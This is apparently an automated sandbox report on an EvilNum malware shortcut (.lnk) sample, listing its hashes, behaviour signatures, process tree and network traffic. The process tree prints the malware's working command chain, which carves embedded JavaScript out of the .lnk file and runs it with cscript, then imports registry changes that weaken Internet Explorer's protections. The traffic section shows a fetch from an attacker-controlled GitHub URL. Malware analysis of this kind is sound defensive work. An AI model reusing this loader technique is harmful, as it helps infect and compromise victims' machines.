Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
153s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
04/02/2022, 08:41 UTC
General
-
Target
0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk
-
Size
33KB
-
MD5
219dedb53da6b1dce0d6c071af59b45c
-
SHA1
650deb9baff4b7564146222deb555e77d5cbbe36
-
SHA256
0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc
-
SHA512
dfb89f58f70aa56b7dc681d01626f59c76c2d1bfa777f49b0ec0885c8122fe48e8fd88a92bc5879643b10a17ee709946871004f88187b6e56cca39be915c2e0a
Score
10/10
Malware Config
Signatures
-
EvilNum C# Component 2 IoCs
-
EvilNum JS Component 2 IoCs
-
Evilnum
A malware family with multiple components distributed through LNK files.
-
Sets service image path in registry 2 TTPs
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops file in Windows directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Modifies Internet Explorer Automatic Crash Recovery 1 TTPs 1 IoCs
-
Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs
-
Modifies Internet Explorer Protected Mode 1 TTPs 1 IoCs
-
Modifies Internet Explorer Protected Mode Banner 1 TTPs 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 47 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 1 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 26 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /c copy 2*.lnk C:\Users\Admin\AppData\Local\Temp&C:&cd C:\Users\Admin\AppData\Local\Temp&attrib +r *.lnk&for /f "delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js &CsCRipt .js "%~fa"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +r *.lnk3⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c dir /s /b *.LnK3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk" "3⤵
-
-
C:\Windows\system32\find.exefind "p0b2x6"3⤵
-
-
C:\Windows\system32\cscript.exeCsCRipt .js "C:\Users\Admin\AppData\Local\Temp\0713c5c3db572d88b08d527533cb07d25d33c1c7535cf59075e693b4fefba1fc.lnk"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c 200_Germany.csv4⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\200_Germany.csv"5⤵
-
-
-
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\file.js4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cscript.exe"C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\kill.js5⤵
-
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" import C:\Users\Admin\AppData\Local\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\g3r.reg5⤵
- Modifies Internet Explorer Automatic Crash Recovery
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer Protected Mode
- Modifies Internet Explorer Protected Mode Banner
- Modifies Internet Explorer settings
-
-
-
-
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:220 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 798d2b5301d19e9cab21e678228390d6 CH6w7teuu0eD8V7P0UJRQw.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\MusNotifyIcon.exe%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 131⤵
- Checks processor information in registry
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
Network
-
DNSsettings-win.data.microsoft.comRemote address:8.8.8.8:53Requestsettings-win.data.microsoft.comIN AResponsesettings-win.data.microsoft.comIN CNAMEsettingsfd-geo.trafficmanager.netsettingsfd-geo.trafficmanager.netIN A51.124.78.146 -
DNSsettings-win.data.microsoft.comRemote address:8.8.8.8:53Requestsettings-win.data.microsoft.comIN AResponsesettings-win.data.microsoft.comIN CNAMEsettingsfd-geo.trafficmanager.netsettingsfd-geo.trafficmanager.netIN A52.167.249.196
-
DNSraw.githubusercontent.comRemote address:8.8.8.8:53Requestraw.githubusercontent.comIN AResponseraw.githubusercontent.comIN A185.199.108.133raw.githubusercontent.comIN A185.199.109.133raw.githubusercontent.comIN A185.199.110.133raw.githubusercontent.comIN A185.199.111.133
-
DNSgeo.prod.do.dsp.mp.microsoft.comRemote address:8.8.8.8:53Requestgeo.prod.do.dsp.mp.microsoft.comIN AResponsegeo.prod.do.dsp.mp.microsoft.comIN CNAMEgeo.prod.do.dsp.trafficmanager.netgeo.prod.do.dsp.trafficmanager.netIN CNAMEarray809.prod.do.dsp.mp.microsoft.comarray809.prod.do.dsp.mp.microsoft.comIN A40.91.73.169
-
DNSkv801.prod.do.dsp.mp.microsoft.comRemote address:8.8.8.8:53Requestkv801.prod.do.dsp.mp.microsoft.comIN AResponsekv801.prod.do.dsp.mp.microsoft.comIN CNAMEkv801.prod.do.dsp.mp.microsoft.com.edgekey.netkv801.prod.do.dsp.mp.microsoft.com.edgekey.netIN CNAMEe12437.g.akamaiedge.nete12437.g.akamaiedge.netIN A184.29.205.60
-
GEThttps://kv801.prod.do.dsp.mp.microsoft.com/all?doClientVersion=10.0.19041.1266&countryCode=US&profile=256&CacheId=1Remote address:184.29.205.60:443RequestGET /all?doClientVersion=10.0.19041.1266&countryCode=US&profile=256&CacheId=1 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Microsoft-Delivery-Optimization/10.0
MS-CV: G4Aui0DO5UCt8Qvk.2.1.1
Content-Length: 0
Host: kv801.prod.do.dsp.mp.microsoft.com
ResponseHTTP/1.1 200 OK
Content-Type: text/json
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 808
Cache-Control: max-age=687
Date: Fri, 04 Feb 2022 08:57:14 GMT
Connection: keep-alive
-
DNSsettings-win.data.microsoft.comRemote address:8.8.8.8:53Requestsettings-win.data.microsoft.comIN AResponsesettings-win.data.microsoft.comIN CNAMEsettingsfd-geo.trafficmanager.netsettingsfd-geo.trafficmanager.netIN A52.167.17.97
-
GEThttps://raw.githubusercontent.com/deadpooool/news/master/README.mdRemote address:185.199.108.133:443RequestGET /deadpooool/news/master/README.md HTTP/2.0
host: raw.githubusercontent.com
accept: text/html, application/xhtml+xml, image/jxr, */*
accept-language: en-US
user-agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
accept-encoding: gzip, deflate
ResponseHTTP/2.0 404
content-security-policy: default-src 'none'; style-src 'unsafe-inline'; sandbox
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
x-frame-options: deny
x-xss-protection: 1; mode=block
content-type: text/plain; charset=utf-8
x-github-request-id: A8E2:BA8B:AB422B:B6FB9D:61FCEA4D
accept-ranges: bytes
date: Fri, 04 Feb 2022 08:57:23 GMT
via: 1.1 varnish
x-served-by: cache-ams21041-AMS
x-cache: HIT
x-cache-hits: 1
x-timer: S1643965044.663079,VS0,VE0
vary: Authorization,Accept-Encoding,Origin
access-control-allow-origin: *
x-fastly-request-id: d70258487a9cdd44ee916d953c190e9e9f4ce2ca
expires: Fri, 04 Feb 2022 09:02:23 GMT
source-age: 38
content-length: 14
-
92.123.77.73:80
-
104.110.191.140:80
-
51.124.78.146:443settings-win.data.microsoft.comtls, https
-
51.124.78.146:443settings-win.data.microsoft.comtls, https
-
51.124.78.146:443settings-win.data.microsoft.comtls, https
-
93.184.221.240:80
-
72.21.91.29:80
-
52.167.249.196:443settings-win.data.microsoft.comtls, https
-
40.91.73.169:443geo.prod.do.dsp.mp.microsoft.comtls, https
-
184.29.205.60:443https://kv801.prod.do.dsp.mp.microsoft.com/all?doClientVersion=10.0.19041.1266&countryCode=US&profile=256&CacheId=1tls, http
HTTP Request
GET https://kv801.prod.do.dsp.mp.microsoft.com/all?doClientVersion=10.0.19041.1266&countryCode=US&profile=256&CacheId=1HTTP Response
200 -
52.167.17.97:443settings-win.data.microsoft.comtls, https
-
185.199.108.133:443https://raw.githubusercontent.com/deadpooool/news/master/README.mdtls, http2
HTTP Request
GET https://raw.githubusercontent.com/deadpooool/news/master/README.mdHTTP Response
404 -
185.199.108.133:443raw.githubusercontent.comtls, http2
-
8.8.8.8:53settings-win.data.microsoft.comdns
DNS Request
settings-win.data.microsoft.com
DNS Response
51.124.78.146
-
8.8.8.8:53settings-win.data.microsoft.comdns
DNS Request
settings-win.data.microsoft.com
DNS Response
52.167.249.196
-
8.8.8.8:53raw.githubusercontent.comdns
DNS Request
raw.githubusercontent.com
DNS Response
185.199.108.133185.199.109.133185.199.110.133185.199.111.133
-
8.8.8.8:53geo.prod.do.dsp.mp.microsoft.comdns
DNS Request
geo.prod.do.dsp.mp.microsoft.com
DNS Response
40.91.73.169
-
8.8.8.8:53kv801.prod.do.dsp.mp.microsoft.comdns
DNS Request
kv801.prod.do.dsp.mp.microsoft.com
DNS Response
184.29.205.60
-
8.8.8.8:53settings-win.data.microsoft.comdns
DNS Request
settings-win.data.microsoft.com
DNS Response
52.167.17.97
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB